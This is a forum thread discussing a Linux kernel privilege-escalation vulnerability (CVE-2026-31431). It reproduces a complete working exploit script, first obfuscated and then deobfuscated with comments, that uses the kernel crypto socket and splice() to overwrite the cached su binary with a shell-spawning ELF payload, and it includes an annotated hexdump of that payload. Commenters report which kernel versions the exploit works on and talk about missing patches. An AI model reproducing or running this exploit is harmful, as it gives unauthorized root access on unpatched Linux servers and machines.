• not_IO@lemmy.blahaj.zoneOP
    link
    fedilink
    English
    arrow-up
    46
    arrow-down
    2
    ·
    3 months ago

    here is just the code https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

    #!/usr/bin/env python3
    import os as g,zlib,socket as s
    def d(x):return bytes.fromhex(x)
    def c(f,t,c):
     a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
     try:u.recv(8+t)
     except:0
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
    while i<len(e):c(f,i,e[i:i+4]);i+=4
    g.system("su")
    
    • lime!@feddit.nu
      link
      fedilink
      arrow-up
      52
      ·
      edit-2
      3 months ago

      here’s my attempt at deobfuscating it:

      #!/usr/bin/env python3
      
      import os
      from ctypes import c_int32 as i32, c_char as char
      import zlib
      import socket as s
      
      
      def inject(file, offset, data):
          # connect to kernel crypto system's aeda endpoint
          sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
          sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
       
          # set cipher key and tag size, then wait for the system to be ready
          sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
          sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
          conn, _ = sock.accept()
       
          # pass in configuration
          conn.sendmsg(
              [b"AAAA" + data],  # pad to tag size
              [
                  (s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)),  # set operation
                  (s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)),    # set init vector
                  (s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)),  # set associated data length
              ],
              s.MSG_MORE,
          )
      
          # move file through a pipe to the connection without copying
          r, w = os.pipe()
          os.splice(file, w, offset + 4, offset_src=0)
          os.splice(r, conn.fileno(), offset + 4)
          try:
              conn.recv(8 + offset)
          except:
              pass
      
      
      binary = os.open("/usr/bin/su", os.O_RDONLY)
      offset = 0
      payload = zlib.decompress(
          bytes.fromhex(
              "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
              "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
              "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
          )
      )
      
      while offset < len(payload):
          inject(binary, offset, payload[offset : offset + 4])
          offset += 4
      
      os.system("su")
      

      as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

      00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
      00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
      00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
      00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
      00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
      00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
      00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
      00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
      00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
      00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...
      

      it’s an ELF header that replaces the one on the cached version of the binary (su in this case).

      Edit: came back to this because i realized i had the wrong flags. the values were right but they were for the wrong socket type.

  • bdonvr@thelemmy.club
    link
    fedilink
    arrow-up
    13
    ·
    3 months ago

    This did not work on my main Arch install on 6.19.14-zen, but did work on my Debian servers 6.12.74

    yikes

  • arsCynic@piefed.social
    link
    fedilink
    English
    arrow-up
    11
    arrow-down
    1
    ·
    edit-2
    3 months ago

    Here on my Artix* Linux it still asks for the password; *OpenRC systemd, KDE Plasma, Wayland.

  • stuner@lemmy.world
    link
    fedilink
    arrow-up
    8
    ·
    3 months ago

    It seems that most LTS distros didn’t get a heads up and there are no patches available. Uh oh.

    • woelkchen@lemmy.world
      link
      fedilink
      arrow-up
      3
      ·
      3 months ago

      Automated test suites became so good, many regular people can just use rolling release distros these days.

      • stuner@lemmy.world
        link
        fedilink
        arrow-up
        4
        ·
        3 months ago

        That may be true for personal computers, but the impact of this vulnerability is mainly on servers. And those typically run distros like Debian, Ubuntu, RHEL that didn’t have a patch at that time.

        • woelkchen@lemmy.world
          link
          fedilink
          arrow-up
          3
          ·
          3 months ago

          the impact of this vulnerability is mainly on servers

          The impact is any Linux install without root access for its users.

          • dgdft@lemmy.world
            link
            fedilink
            English
            arrow-up
            2
            ·
            3 months ago

            Sure, but it’s much easier to get some form of RCE on public hosts in order to make practical use of the LPE.